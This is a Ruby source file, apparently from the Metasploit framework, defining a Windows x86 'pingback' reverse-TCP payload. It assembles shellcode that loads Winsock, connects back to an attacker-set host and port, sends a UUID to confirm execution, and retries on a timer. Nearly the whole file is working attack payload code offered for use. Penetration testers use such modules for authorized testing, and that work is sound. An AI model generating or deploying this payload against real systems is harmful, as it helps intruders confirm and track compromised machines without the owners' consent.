Windows x86 Pingback, Reverse TCP Inline

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


module MetasploitModule

  CachedSize = 307

  include Msf::Payload::Windows
  include Msf::Payload::Single
  include Msf::Payload::Pingback
  include Msf::Payload::Windows::BlockApi
  include Msf::Payload::Pingback::Options
  include Msf::Payload::Windows::Exitfunk

  def initialize(info = {})
    super(
      merge_info(
        info,
        'Name' => 'Windows x86 Pingback, Reverse TCP Inline',
        'Description' => 'Connect back to attacker and report UUID (Windows x86)',
        'Author' => [ 'bwatters-r7' ],
        'License' => MSF_LICENSE,
        'Platform' => 'win',
        'Arch' => ARCH_X86,
        'Handler' => Msf::Handler::ReverseTcp,
        'Session' => Msf::Sessions::Pingback
      )
    )

    def required_space
      # Start with our cached default generated size
      space = cached_size

      # EXITFUNK 'seh' is the worst case, that adds 15 bytes
      space += 15

      space
    end

    def generate(_opts = {})
      encoded_port = [datastore['LPORT'].to_i, 2].pack('vn').unpack1('N')
      encoded_host = Rex::Socket.addr_aton(datastore['LHOST'] || '127.127.127.127').unpack1('V')
      retry_count = [datastore['ReverseConnectRetries'].to_i, 1].max
      pingback_count = datastore['PingbackRetries']
      pingback_sleep = datastore['PingbackSleep']
      self.pingback_uuid ||= generate_pingback_uuid
      uuid_as_db = '0x' + self.pingback_uuid.chars.each_slice(2).map(&:join).join(',0x')
      conf = { exitfunk: datastore['EXITFUNC'] }

      asm = %^
        cld                    ; Clear the direction flag.
        call start             ; Call start, this pushes the address of 'api_call' onto the stack.
        #{asm_block_api}
        start:
          pop ebp
        ; Input: EBP must be the address of 'api_call'.
        ; Output: EDI will be the socket for the connection to the server
        ; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
        reverse_tcp:
          push '32'               ; Push the bytes 'ws2_32',0,0 onto the stack.
          push 'ws2_'             ; ...
          push esp                ; Push a pointer to the "ws2_32" string on the stack.
          push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
          mov eax, ebp
          call eax                ; LoadLibraryA( "ws2_32" )

          mov eax, 0x0190         ; EAX = sizeof( struct WSAData )
          sub esp, eax            ; alloc some space for the WSAData structure
          push esp                ; push a pointer to this struct
          push eax                ; push the wVersionRequested parameter
          push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}
          call ebp                ; WSAStartup( 0x0190, &WSAData );

        set_address:
          push #{pingback_count}     ; retry counter
          push #{retry_count}     ; retry counter
          push #{encoded_host}    ; host in little-endian format
          push #{encoded_port}    ; family AF_INET and port number
          mov esi, esp            ; save pointer to sockaddr struct

        create_socket:
          push eax                ; if we succeed, eax will be zero, push zero for the flags param.
          push eax                ; push null for reserved parameter
          push eax                ; we do not specify a WSAPROTOCOL_INFO structure
          push eax                ; we do not specify a protocol
          inc eax                 ;
          push eax                ; push SOCK_STREAM
          inc eax                 ;
          push eax                ; push AF_INET
          push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}
          call ebp                ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
          xchg edi, eax           ; save the socket for later, don't care about the value of eax after this

        try_connect:
          push 16                 ; length of the sockaddr struct
          push esi                ; pointer to the sockaddr struct
          push edi                ; the socket
          push #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')}
          call ebp                ; connect( s, &sockaddr, 16 );

          test eax,eax            ; non-zero means a failure
          jz connected

        handle_connect_failure:
          ; decrement our attempt count and try again
          dec dword [esi+8]
          jnz try_connect
        failure:
          call exitfunk
          ; this  label is required so that reconnect attempts include
          ; the UUID stuff if required.
        connected:
        send_pingback:
          push 0                 ; flags
          push #{uuid_as_db.split(',').length} ; length of the PINGBACK UUID
          call get_pingback_address  ; put pingback_uuid buffer on the stack
          db #{uuid_as_db}  ; PINGBACK_UUID
        get_pingback_address:
          push edi               ; saved socket
          push #{Rex::Text.block_api_hash('ws2_32.dll', 'send')}
          call ebp               ; call send

        cleanup_socket:
          ; clear up the socket
          push edi                ; socket handle
          push #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')}
          call ebp                ; closesocket(socket)
        ^
      if pingback_count > 0
        asm << %^
          mov eax, [esi+12]
          test eax, eax               ; pingback counter
          jz exitfunk
          dec [esi+12]
          sleep:
            push #{(pingback_sleep * 1000)}
            push #{Rex::Text.block_api_hash('kernel32.dll', 'Sleep')}
            call ebp                  ;sleep(pingback_sleep * 1000)
            jmp create_socket
        ^
      end
      asm << %(
          ; restore the stack back to the connection retry count
          dec [esi+8]               ; decrement the retry counter
          jmp exitfunk
          ; try again
          jnz create_socket
          jmp failure
      )
      if conf[:exitfunk]
        asm << asm_exitfunk(conf)
      end
      Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string
    end
  end
end